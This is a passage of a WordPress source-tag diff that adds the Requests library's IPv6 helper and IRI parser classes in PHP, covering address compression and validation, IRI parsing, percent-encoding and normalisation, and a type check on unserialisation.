+		// Find bunches of zeros
+		if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) {
+			$max = 0;
+			$pos = null;
+			foreach ($matches[0] as $match) {
+				if (strlen($match[0]) > $max) {
+					$max = strlen($match[0]);
+					$pos = $match[1];
+				}
+			}
+
+			$ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max);
+		}
+
+		if ($ip_parts[1] !== '') {
+			return implode(':', $ip_parts);
+		}
+		else {
+			return $ip_parts[0];
+		}
+	}
+
+	/**
+	 * Splits an IPv6 address into the IPv6 and IPv4 representation parts
+	 *
+	 * RFC 4291 allows you to represent the last two parts of an IPv6 address
+	 * using the standard IPv4 representation
+	 *
+	 * Example:  0:0:0:0:0:0:13.1.68.3
+	 *           0:0:0:0:0:FFFF:129.144.52.38
+	 *
+	 * @param string $ip An IPv6 address
+	 * @return string[] [0] contains the IPv6 represented part, and [1] the IPv4 represented part
+	 */
+	protected static function split_v6_v4($ip) {
+		if (strpos($ip, '.') !== false) {
+			$pos = strrpos($ip, ':');
+			$ipv6_part = substr($ip, 0, $pos);
+			$ipv4_part = substr($ip, $pos + 1);
+			return array($ipv6_part, $ipv4_part);
+		}
+		else {
+			return array($ip, '');
+		}
+	}
+
+	/**
+	 * Checks an IPv6 address
+	 *
+	 * Checks if the given IP is a valid IPv6 address
+	 *
+	 * @param string $ip An IPv6 address
+	 * @return bool true if $ip is a valid IPv6 address
+	 */
+	public static function check_ipv6($ip) {
+		$ip = self::uncompress($ip);
+		list($ipv6, $ipv4) = self::split_v6_v4($ip);
+		$ipv6 = explode(':', $ipv6);
+		$ipv4 = explode('.', $ipv4);
+		if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) {
+			foreach ($ipv6 as $ipv6_part) {
+				// The section can't be empty
+				if ($ipv6_part === '') {
+					return false;
+				}
+
+				// Nor can it be over four characters
+				if (strlen($ipv6_part) > 4) {
+					return false;
+				}
+
+				// Remove leading zeros (this is safe because of the above)
+				$ipv6_part = ltrim($ipv6_part, '0');
+				if ($ipv6_part === '') {
+					$ipv6_part = '0';
+				}
+
+				// Check the value is valid
+				$value = hexdec($ipv6_part);
+				if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) {
+					return false;
+				}
+			}
+			if (count($ipv4) === 4) {
+				foreach ($ipv4 as $ipv4_part) {
+					$value = (int) $ipv4_part;
+					if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) {
+						return false;
+					}
+				}
+			}
+			return true;
+		}
+		else {
+			return false;
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/IRI.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/IRI.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/IRI.php	(revision 56912)
@@ -0,0 +1,1098 @@
+<?php
+/**
+ * IRI parser/serialiser/normaliser
+ *
+ * @package Requests
+ * @subpackage Utilities
+ */
+
+/**
+ * IRI parser/serialiser/normaliser
+ *
+ * Copyright (c) 2007-2010, Geoffrey Sneddon and Steve Minutillo.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ *  * Redistributions of source code must retain the above copyright notice,
+ *       this list of conditions and the following disclaimer.
+ *
+ *  * Redistributions in binary form must reproduce the above copyright notice,
+ *       this list of conditions and the following disclaimer in the documentation
+ *       and/or other materials provided with the distribution.
+ *
+ *  * Neither the name of the SimplePie Team nor the names of its contributors
+ *       may be used to endorse or promote products derived from this software
+ *       without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS AND CONTRIBUTORS BE
+ * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+ * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+ * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package Requests
+ * @subpackage Utilities
+ * @author Geoffrey Sneddon
+ * @author Steve Minutillo
+ * @copyright 2007-2009 Geoffrey Sneddon and Steve Minutillo
+ * @license http://www.opensource.org/licenses/bsd-license.php
+ * @link http://hg.gsnedders.com/iri/
+ *
+ * @property string $iri IRI we're working with
+ * @property-read string $uri IRI in URI form, {@see to_uri}
+ * @property string $scheme Scheme part of the IRI
+ * @property string $authority Authority part, formatted for a URI (userinfo + host + port)
+ * @property string $iauthority Authority part of the IRI (userinfo + host + port)
+ * @property string $userinfo Userinfo part, formatted for a URI (after '://' and before '@')
+ * @property string $iuserinfo Userinfo part of the IRI (after '://' and before '@')
+ * @property string $host Host part, formatted for a URI
+ * @property string $ihost Host part of the IRI
+ * @property string $port Port part of the IRI (after ':')
+ * @property string $path Path part, formatted for a URI (after first '/')
+ * @property string $ipath Path part of the IRI (after first '/')
+ * @property string $query Query part, formatted for a URI (after '?')
+ * @property string $iquery Query part of the IRI (after '?')
+ * @property string $fragment Fragment, formatted for a URI (after '#')
+ * @property string $ifragment Fragment part of the IRI (after '#')
+ */
+class Requests_IRI {
+	/**
+	 * Scheme
+	 *
+	 * @var string
+	 */
+	protected $scheme = null;
+
+	/**
+	 * User Information
+	 *
+	 * @var string
+	 */
+	protected $iuserinfo = null;
+
+	/**
+	 * ihost
+	 *
+	 * @var string
+	 */
+	protected $ihost = null;
+
+	/**
+	 * Port
+	 *
+	 * @var string
+	 */
+	protected $port = null;
+
+	/**
+	 * ipath
+	 *
+	 * @var string
+	 */
+	protected $ipath = '';
+
+	/**
+	 * iquery
+	 *
+	 * @var string
+	 */
+	protected $iquery = null;
+
+	/**
+	 * ifragment
+	 *
+	 * @var string
+	 */
+	protected $ifragment = null;
+
+	/**
+	 * Normalization database
+	 *
+	 * Each key is the scheme, each value is an array with each key as the IRI
+	 * part and value as the default value for that part.
+	 */
+	protected $normalization = array(
+		'acap' => array(
+			'port' => 674
+		),
+		'dict' => array(
+			'port' => 2628
+		),
+		'file' => array(
+			'ihost' => 'localhost'
+		),
+		'http' => array(
+			'port' => 80,
+		),
+		'https' => array(
+			'port' => 443,
+		),
+	);
+
+	/**
+	 * Return the entire IRI when you try and read the object as a string
+	 *
+	 * @return string
+	 */
+	public function __toString() {
+		return $this->get_iri();
+	}
+
+	/**
+	 * Overload __set() to provide access via properties
+	 *
+	 * @param string $name Property name
+	 * @param mixed $value Property value
+	 */
+	public function __set($name, $value) {
+		if (method_exists($this, 'set_' . $name)) {
+			call_user_func(array($this, 'set_' . $name), $value);
+		}
+		elseif (
+			   $name === 'iauthority'
+			|| $name === 'iuserinfo'
+			|| $name === 'ihost'
+			|| $name === 'ipath'
+			|| $name === 'iquery'
+			|| $name === 'ifragment'
+		) {
+			call_user_func(array($this, 'set_' . substr($name, 1)), $value);
+		}
+	}
+
+	/**
+	 * Overload __get() to provide access via properties
+	 *
+	 * @param string $name Property name
+	 * @return mixed
+	 */
+	public function __get($name) {
+		// isset() returns false for null, we don't want to do that
+		// Also why we use array_key_exists below instead of isset()
+		$props = get_object_vars($this);
+
+		if (
+			$name === 'iri' ||
+			$name === 'uri' ||
+			$name === 'iauthority' ||
+			$name === 'authority'
+		) {
+			$method = 'get_' . $name;
+			$return = $this->$method();
+		}
+		elseif (array_key_exists($name, $props)) {
+			$return = $this->$name;
+		}
+		// host -> ihost
+		elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) {
+			$name = $prop;
+			$return = $this->$prop;
+		}
+		// ischeme -> scheme
+		elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) {
+			$name = $prop;
+			$return = $this->$prop;
+		}
+		else {
+			trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE);
+			$return = null;
+		}
+
+		if ($return === null && isset($this->normalization[$this->scheme][$name])) {
+			return $this->normalization[$this->scheme][$name];
+		}
+		else {
+			return $return;
+		}
+	}
+
+	/**
+	 * Overload __isset() to provide access via properties
+	 *
+	 * @param string $name Property name
+	 * @return bool
+	 */
+	public function __isset($name) {
+		return (method_exists($this, 'get_' . $name) || isset($this->$name));
+	}
+
+	/**
+	 * Overload __unset() to provide access via properties
+	 *
+	 * @param string $name Property name
+	 */
+	public function __unset($name) {
+		if (method_exists($this, 'set_' . $name)) {
+			call_user_func(array($this, 'set_' . $name), '');
+		}
+	}
+
+	/**
+	 * Create a new IRI object, from a specified string
+	 *
+	 * @param string|null $iri
+	 */
+	public function __construct($iri = null) {
+		$this->set_iri($iri);
+	}
+
+	/**
+	 * Create a new IRI object by resolving a relative IRI
+	 *
+	 * Returns false if $base is not absolute, otherwise an IRI.
+	 *
+	 * @param IRI|string $base (Absolute) Base IRI
+	 * @param IRI|string $relative Relative IRI
+	 * @return IRI|false
+	 */
+	public static function absolutize($base, $relative) {
+		if (!($relative instanceof Requests_IRI)) {
+			$relative = new Requests_IRI($relative);
+		}
+		if (!$relative->is_valid()) {
+			return false;
+		}
+		elseif ($relative->scheme !== null) {
+			return clone $relative;
+		}
+
+		if (!($base instanceof Requests_IRI)) {
+			$base = new Requests_IRI($base);
+		}
+		if ($base->scheme === null || !$base->is_valid()) {
+			return false;
+		}
+
+		if ($relative->get_iri() !== '') {
+			if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) {
+				$target = clone $relative;
+				$target->scheme = $base->scheme;
+			}
+			else {
+				$target = new Requests_IRI;
+				$target->scheme = $base->scheme;
+				$target->iuserinfo = $base->iuserinfo;
+				$target->ihost = $base->ihost;
+				$target->port = $base->port;
+				if ($relative->ipath !== '') {
+					if ($relative->ipath[0] === '/') {
+						$target->ipath = $relative->ipath;
+					}
+					elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') {
+						$target->ipath = '/' . $relative->ipath;
+					}
+					elseif (($last_segment = strrpos($base->ipath, '/')) !== false) {
+						$target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath;
+					}
+					else {
+						$target->ipath = $relative->ipath;
+					}
+					$target->ipath = $target->remove_dot_segments($target->ipath);
+					$target->iquery = $relative->iquery;
+				}
+				else {
+					$target->ipath = $base->ipath;
+					if ($relative->iquery !== null) {
+						$target->iquery = $relative->iquery;
+					}
+					elseif ($base->iquery !== null) {
+						$target->iquery = $base->iquery;
+					}
+				}
+				$target->ifragment = $relative->ifragment;
+			}
+		}
+		else {
+			$target = clone $base;
+			$target->ifragment = null;
+		}
+		$target->scheme_normalization();
+		return $target;
+	}
+
+	/**
+	 * Parse an IRI into scheme/authority/path/query/fragment segments
+	 *
+	 * @param string $iri
+	 * @return array
+	 */
+	protected function parse_iri($iri) {
+		$iri = trim($iri, "\x20\x09\x0A\x0C\x0D");
+		$has_match = preg_match('/^((?P<scheme>[^:\/?#]+):)?(\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(\?(?P<query>[^#]*))?(#(?P<fragment>.*))?$/', $iri, $match);
+		if (!$has_match) {
+			throw new Requests_Exception('Cannot parse supplied IRI', 'iri.cannot_parse', $iri);
+		}
+
+		if ($match[1] === '') {
+			$match['scheme'] = null;
+		}
+		if (!isset($match[3]) || $match[3] === '') {
+			$match['authority'] = null;
+		}
+		if (!isset($match[5])) {
+			$match['path'] = '';
+		}
+		if (!isset($match[6]) || $match[6] === '') {
+			$match['query'] = null;
+		}
+		if (!isset($match[8]) || $match[8] === '') {
+			$match['fragment'] = null;
+		}
+		return $match;
+	}
+
+	/**
+	 * Remove dot segments from a path
+	 *
+	 * @param string $input
+	 * @return string
+	 */
+	protected function remove_dot_segments($input) {
+		$output = '';
+		while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') {
+			// A: If the input buffer begins with a prefix of "../" or "./",
+			// then remove that prefix from the input buffer; otherwise,
+			if (strpos($input, '../') === 0) {
+				$input = substr($input, 3);
+			}
+			elseif (strpos($input, './') === 0) {
+				$input = substr($input, 2);
+			}
+			// B: if the input buffer begins with a prefix of "/./" or "/.",
+			// where "." is a complete path segment, then replace that prefix
+			// with "/" in the input buffer; otherwise,
+			elseif (strpos($input, '/./') === 0) {
+				$input = substr($input, 2);
+			}
+			elseif ($input === '/.') {
+				$input = '/';
+			}
+			// C: if the input buffer begins with a prefix of "/../" or "/..",
+			// where ".." is a complete path segment, then replace that prefix
+			// with "/" in the input buffer and remove the last segment and its
+			// preceding "/" (if any) from the output buffer; otherwise,
+			elseif (strpos($input, '/../') === 0) {
+				$input = substr($input, 3);
+				$output = substr_replace($output, '', strrpos($output, '/'));
+			}
+			elseif ($input === '/..') {
+				$input = '/';
+				$output = substr_replace($output, '', strrpos($output, '/'));
+			}
+			// D: if the input buffer consists only of "." or "..", then remove
+			// that from the input buffer; otherwise,
+			elseif ($input === '.' || $input === '..') {
+				$input = '';
+			}
+			// E: move the first path segment in the input buffer to the end of
+			// the output buffer, including the initial "/" character (if any)
+			// and any subsequent characters up to, but not including, the next
+			// "/" character or the end of the input buffer
+			elseif (($pos = strpos($input, '/', 1)) !== false) {
+				$output .= substr($input, 0, $pos);
+				$input = substr_replace($input, '', 0, $pos);
+			}
+			else {
+				$output .= $input;
+				$input = '';
+			}
+		}
+		return $output . $input;
+	}
+
+	/**
+	 * Replace invalid character with percent encoding
+	 *
+	 * @param string $string Input string
+	 * @param string $extra_chars Valid characters not in iunreserved or
+	 *                            iprivate (this is ASCII-only)
+	 * @param bool $iprivate Allow iprivate
+	 * @return string
+	 */
+	protected function replace_invalid_with_pct_encoding($string, $extra_chars, $iprivate = false) {
+		// Normalize as many pct-encoded sections as possible
+		$string = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array(&$this, 'remove_iunreserved_percent_encoded'), $string);
+
+		// Replace invalid percent characters
+		$string = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $string);
+
+		// Add unreserved and % to $extra_chars (the latter is safe because all
+		// pct-encoded sections are now valid).
+		$extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%';
+
+		// Now replace any bytes that aren't allowed with their pct-encoded versions
+		$position = 0;
+		$strlen = strlen($string);
+		while (($position += strspn($string, $extra_chars, $position)) < $strlen) {
+			$value = ord($string[$position]);
+
+			// Start position
+			$start = $position;
+
+			// By default we are valid
+			$valid = true;
+
+			// No one byte sequences are valid due to the while.
+			// Two byte sequence:
+			if (($value & 0xE0) === 0xC0) {
+				$character = ($value & 0x1F) << 6;
+				$length = 2;
+				$remaining = 1;
+			}
+			// Three byte sequence:
+			elseif (($value & 0xF0) === 0xE0) {
+				$character = ($value & 0x0F) << 12;
+				$length = 3;
+				$remaining = 2;
+			}
+			// Four byte sequence:
+			elseif (($value & 0xF8) === 0xF0) {
+				$character = ($value & 0x07) << 18;
+				$length = 4;
+				$remaining = 3;
+			}
+			// Invalid byte:
+			else {
+				$valid = false;
+				$length = 1;
+				$remaining = 0;
+			}
+
+			if ($remaining) {
+				if ($position + $length <= $strlen) {
+					for ($position++; $remaining; $position++) {
+						$value = ord($string[$position]);
+
+						// Check that the byte is valid, then add it to the character:
+						if (($value & 0xC0) === 0x80) {
+							$character |= ($value & 0x3F) << (--$remaining * 6);
+						}
+						// If it is invalid, count the sequence as invalid and reprocess the current byte:
+						else {
+							$valid = false;
+							$position--;
+							break;
+						}
+					}
+				}
+				else {
+					$position = $strlen - 1;
+					$valid = false;
+				}
+			}
+
+			// Percent encode anything invalid or not in ucschar
+			if (
+				// Invalid sequences
+				!$valid
+				// Non-shortest form sequences are invalid
+				|| $length > 1 && $character <= 0x7F
+				|| $length > 2 && $character <= 0x7FF
+				|| $length > 3 && $character <= 0xFFFF
+				// Outside of range of ucschar codepoints
+				// Noncharacters
+				|| ($character & 0xFFFE) === 0xFFFE
+				|| $character >= 0xFDD0 && $character <= 0xFDEF
+				|| (
+					// Everything else not in ucschar
+					   $character > 0xD7FF && $character < 0xF900
+					|| $character < 0xA0
+					|| $character > 0xEFFFD
+				)
+				&& (
+					// Everything not in iprivate, if it applies
+					   !$iprivate
+					|| $character < 0xE000
+					|| $character > 0x10FFFD
+				)
+			) {
+				// If we were a character, pretend we weren't, but rather an error.
+				if ($valid) {
+					$position--;
+				}
+
+				for ($j = $start; $j <= $position; $j++) {
+					$string = substr_replace($string, sprintf('%%%02X', ord($string[$j])), $j, 1);
+					$j += 2;
+					$position += 2;
+					$strlen += 2;
+				}
+			}
+		}
+
+		return $string;
+	}
+
+	/**
+	 * Callback function for preg_replace_callback.
+	 *
+	 * Removes sequences of percent encoded bytes that represent UTF-8
+	 * encoded characters in iunreserved
+	 *
+	 * @param array $match PCRE match
+	 * @return string Replacement
+	 */
+	protected function remove_iunreserved_percent_encoded($match) {
+		// As we just have valid percent encoded sequences we can just explode
+		// and ignore the first member of the returned array (an empty string).
+		$bytes = explode('%', $match[0]);
+
+		// Initialize the new string (this is what will be returned) and that
+		// there are no bytes remaining in the current sequence (unsurprising
+		// at the first byte!).
+		$string = '';
+		$remaining = 0;
+
+		// Loop over each and every byte, and set $value to its value
+		for ($i = 1, $len = count($bytes); $i < $len; $i++) {
+			$value = hexdec($bytes[$i]);
+
+			// If we're the first byte of sequence:
+			if (!$remaining) {
+				// Start position
+				$start = $i;
+
+				// By default we are valid
+				$valid = true;
+
+				// One byte sequence:
+				if ($value <= 0x7F) {
+					$character = $value;
+					$length = 1;
+				}
+				// Two byte sequence:
+				elseif (($value & 0xE0) === 0xC0) {
+					$character = ($value & 0x1F) << 6;
+					$length = 2;
+					$remaining = 1;
+				}
+				// Three byte sequence:
+				elseif (($value & 0xF0) === 0xE0) {
+					$character = ($value & 0x0F) << 12;
+					$length = 3;
+					$remaining = 2;
+				}
+				// Four byte sequence:
+				elseif (($value & 0xF8) === 0xF0) {
+					$character = ($value & 0x07) << 18;
+					$length = 4;
+					$remaining = 3;
+				}
+				// Invalid byte:
+				else {
+					$valid = false;
+					$remaining = 0;
+				}
+			}
+			// Continuation byte:
+			else {
+				// Check that the byte is valid, then add it to the character:
+				if (($value & 0xC0) === 0x80) {
+					$remaining--;
+					$character |= ($value & 0x3F) << ($remaining * 6);
+				}
+				// If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence:
+				else {
+					$valid = false;
+					$remaining = 0;
+					$i--;
+				}
+			}
+
+			// If we've reached the end of the current byte sequence, append it to Unicode::$data
+			if (!$remaining) {
+				// Percent encode anything invalid or not in iunreserved
+				if (
+					// Invalid sequences
+					!$valid
+					// Non-shortest form sequences are invalid
+					|| $length > 1 && $character <= 0x7F
+					|| $length > 2 && $character <= 0x7FF
+					|| $length > 3 && $character <= 0xFFFF
+					// Outside of range of iunreserved codepoints
+					|| $character < 0x2D
+					|| $character > 0xEFFFD
+					// Noncharacters
+					|| ($character & 0xFFFE) === 0xFFFE
+					|| $character >= 0xFDD0 && $character <= 0xFDEF
+					// Everything else not in iunreserved (this is all BMP)
+					|| $character === 0x2F
+					|| $character > 0x39 && $character < 0x41
+					|| $character > 0x5A && $character < 0x61
+					|| $character > 0x7A && $character < 0x7E
+					|| $character > 0x7E && $character < 0xA0
+					|| $character > 0xD7FF && $character < 0xF900
+				) {
+					for ($j = $start; $j <= $i; $j++) {
+						$string .= '%' . strtoupper($bytes[$j]);
+					}
+				}
+				else {
+					for ($j = $start; $j <= $i; $j++) {
+						$string .= chr(hexdec($bytes[$j]));
+					}
+				}
+			}
+		}
+
+		// If we have any bytes left over they are invalid (i.e., we are
+		// mid-way through a multi-byte sequence)
+		if ($remaining) {
+			for ($j = $start; $j < $len; $j++) {
+				$string .= '%' . strtoupper($bytes[$j]);
+			}
+		}
+
+		return $string;
+	}
+
+	protected function scheme_normalization() {
+		if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) {
+			$this->iuserinfo = null;
+		}
+		if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) {
+			$this->ihost = null;
+		}
+		if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) {
+			$this->port = null;
+		}
+		if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) {
+			$this->ipath = '';
+		}
+		if (isset($this->ihost) && empty($this->ipath)) {
+			$this->ipath = '/';
+		}
+		if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) {
+			$this->iquery = null;
+		}
+		if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) {
+			$this->ifragment = null;
+		}
+	}
+
+	/**
+	 * Check if the object represents a valid IRI. This needs to be done on each
+	 * call as some things change depending on another part of the IRI.
+	 *
+	 * @return bool
+	 */
+	public function is_valid() {
+		$isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null;
+		if ($this->ipath !== '' &&
+			(
+				$isauthority && $this->ipath[0] !== '/' ||
+				(
+					$this->scheme === null &&
+					!$isauthority &&
+					strpos($this->ipath, ':') !== false &&
+					(strpos($this->ipath, '/') === false ? true : strpos($this->ipath, ':') < strpos($this->ipath, '/'))
+				)
+			)
+		) {
+			return false;
+		}
+
+		return true;
+	}
+
+	public function __wakeup() {
+		$class_props = get_class_vars( __CLASS__ );
+		$string_props = array( 'scheme', 'iuserinfo', 'ihost', 'port', 'ipath', 'iquery', 'ifragment' );
+		$array_props = array( 'normalization' );
+		foreach ( $class_props as $prop => $default_value ) {
+			if ( in_array( $prop, $string_props, true ) && ! is_string( $this->$prop ) ) {
+				throw new UnexpectedValueException();
+			} elseif ( in_array( $prop, $array_props, true ) && ! is_array( $this->$prop ) ) {
+				throw new UnexpectedValueException();
+			}
+			$this->$prop = null;
+		}
+	}
+
+	/**
+	 * Set the entire IRI. Returns true on success, false on failure (if there
+	 * are any invalid characters).
+	 *
+	 * @param string $iri
+	 * @return bool
+	 */
+	protected function set_iri($iri) {
+		static $cache;
+		if (!$cache) {
+			$cache = array();
+		}
+
+		if ($iri === null) {
+			return true;
+		}
+		if (isset($cache[$iri])) {
+			list($this->scheme,
+				 $this->iuserinfo,
+				 $this->ihost,
+				 $this->port,
+				 $this->ipath,
+				 $this->iquery,
+				 $this->ifragment,
+				 $return) = $cache[$iri];
+			return $return;
+		}
+
+		$parsed = $this->parse_iri((string) $iri);
+
+		$return = $this->set_scheme($parsed['scheme'])
+			&& $this->set_authority($parsed['authority'])
+			&& $this->set_path($parsed['path'])
+			&& $this->set_query($parsed['query'])
+			&& $this->set_fragment($parsed['fragment']);
+
+		$cache[$iri] = array($this->scheme,
+							 $this->iuserinfo,
+							 $this->ihost,
+							 $this->port,
+							 $this->ipath,
+							 $this->iquery,
+							 $this->ifragment,
+							 $return);
+		return $return;
+	}
+
+	/**
+	 * Set the scheme. Returns true on success, false on failure (if there are
+	 * any invalid characters).
+	 *
+	 * @param string $scheme
+	 * @return bool
+	 */
+	protected function set_scheme($scheme) {
+		if ($scheme === null) {
+			$this->scheme = null;
+		}
+		elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) {
+			$this->scheme = null;
+			return false;
+		}
+		else {
+			$this->scheme = strtolower($scheme);
+		}
+		return true;
+	}
+
+	/**
+	 * Set the authority. Returns true on success, false on failure (if there are
+	 * any invalid characters).
+	 *
+	 * @param string $authority
+	 * @return bool
+	 */
+	protected function set_authority($authority) {
+		static $cache;
+		if (!$cache) {
+			$cache = array();
+		}
+
+		if ($authority === null) {
+			$this->iuserinfo = null;
+			$this->ihost = null;
+			$this->port = null;
+			return true;
+		}
+		if (isset($cache[$authority])) {
+			list($this->iuserinfo,
+				 $this->ihost,
+				 $this->port,
+				 $return) = $cache[$authority];
+
+			return $return;
+		}
+
+		$remaining = $authority;
+		if (($iuserinfo_end = strrpos($remaining, '@')) !== false) {
+			$iuserinfo = substr($remaining, 0, $iuserinfo_end);
+			$remaining = substr($remaining, $iuserinfo_end + 1);
+		}
+		else {
+			$iuserinfo = null;
+		}
+		if (($port_start = strpos($remaining, ':', strpos($remaining, ']'))) !== false) {
+			$port = substr($remaining, $port_start + 1);
+			if ($port === false || $port === '') {
+				$port = null;
+			}
+			$remaining = substr($remaining, 0, $port_start);
+		}
+		else {
+			$port = null;
+		}
+
+		$return = $this->set_userinfo($iuserinfo) &&
+				  $this->set_host($remaining) &&
+				  $this->set_port($port);
+
+		$cache[$authority] = array($this->iuserinfo,
+								   $this->ihost,
+								   $this->port,
+								   $return);
+
+		return $return;
+	}
+
+	/**
+	 * Set the iuserinfo.
+	 *
+	 * @param string $iuserinfo
+	 * @return bool
+	 */
+	protected function set_userinfo($iuserinfo) {
+		if ($iuserinfo === null) {
+			$this->iuserinfo = null;
+		}
+		else {
+			$this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:');
+			$this->scheme_normalization();
+		}
+
+		return true;
+	}
+
+	/**
+	 * Set the ihost. Returns true on success, false on failure (if there are
+	 * any invalid characters).
+	 *
+	 * @param string $ihost
+	 * @return bool
+	 */
+	protected function set_host($ihost) {
+		if ($ihost === null) {
+			$this->ihost = null;
+			return true;
+		}
+		if (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') {
+			if (Requests_IPv6::check_ipv6(substr($ihost, 1, -1))) {
+				$this->ihost = '[' . Requests_IPv6::compress(substr($ihost, 1, -1)) . ']';
+			}
+			else {
+				$this->ihost = null;
+				return false;
+			}
+		}
+		else {
+			$ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;=');
+
+			// Lowercase, but ignore pct-encoded sections (as they should
+			// remain uppercase). This must be done after the previous step
+			// as that can add unescaped characters.
+			$position = 0;
+			$strlen = strlen($ihost);
+			while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) {
+				if ($ihost[$position] === '%') {
+					$position += 3;
+				}
+				else {
+					$ihost[$position] = strtolower($ihost[$position]);
+					$position++;
+				}
+			}
+
+			$this->ihost = $ihost;
+		}
+
+		$this->scheme_normalization();
+
+		return true;
+	}
+
+	/**
+	 * Set the port. Returns true on success, false on failure (if there are
+	 * any invalid characters).
+	 *
+	 * @param string $port
+	 * @return bool
+	 */
+	protected function set_port($port) {
+		if ($port === null) {
+			$this->port = null;
+			return true;
+		}
+
+		if (strspn($port, '0123456789') === strlen($port)) {
+			$this->port = (int) $port;
+			$this->scheme_normalization();
+			return true;
+		}
+
+		$this->port = null;
+		return false;
+	}
+
+	/**
+	 * Set the ipath.
+	 *
+	 * @param string $ipath
+	 * @return bool
+	 */
+	protected function set_path($ipath) {
+		static $cache;
+		if (!$cache) {
+			$cache = array();
+		}
+
+		$ipath = (string) $ipath;
+
+		if (isset($cache[$ipath])) {
+			$this->ipath = $cache[$ipath][(int) ($this->scheme !== null)];
+		}
+		else {
+			$valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/');
+			$removed = $this->remove_dot_segments($valid);
+
+			$cache[$ipath] = array($valid, $removed);
+			$this->ipath = ($this->scheme !== null) ? $removed : $valid;
+		}
+		$this->scheme_normalization();
+		return true;
+	}
+
+	/**
+	 * Set the iquery.
+	 *
+	 * @param string $iquery
+	 * @return bool
+	 */
+	protected function set_query($iquery) {
+		if ($iquery === null) {
+			$this->iquery = null;
+		}
+		else {
+			$this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true);
+			$this->scheme_normalization();
+		}
+		return true;
+	}
+
+	/**
+	 * Set the ifragment.
+	 *
+	 * @param string $ifragment
+	 * @return bool
+	 */
+	protected function set_fragment($ifragment) {
+		if ($ifragment === null) {
+			$this->ifragment = null;
+		}
+		else {
+			$this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?');
+			$this->scheme_normalization();
+		}
+		return true;
+	}
+
+	/**
+	 * Convert an IRI to a URI (or parts thereof)
+	 *
+	 * @param string|bool IRI to convert (or false from {@see get_iri})
+	 * @return string|false URI if IRI is valid, false otherwise.
+	 */
+	protected function to_uri($string) {
+		if (!is_string($string)) {
+			return false;
+		}
+
+		static $non_ascii;
+		if (!$non_ascii) {
+			$non_ascii = implode('', range("\x80", "\xFF"));
+		}
+
+		$position = 0;
+		$strlen = strlen($string);
+		while (($position += strcspn($string, $non_ascii, $position)) < $strlen) {
+			$string = substr_replace($string, sprintf('%%%02X', ord($string[$position])), $position, 1);
+			$position += 3;
+			$strlen += 2;
+		}
+
+		return $string;
+	}
+
+	/**
+	 * Get the complete IRI
+	 *
+	 * @return string
+	 */
+	protected function get_iri() {
+		if (!$this->is_valid()) {
+			return false;
+		}
+
+		$iri = '';
+		if ($this->scheme !== null) {
+			$iri .= $this->scheme . ':';
+		}
+		if (($iauthority = $this->get_iauthority()) !== null) {
+			$iri .= '//' . $iauthority;
+		}
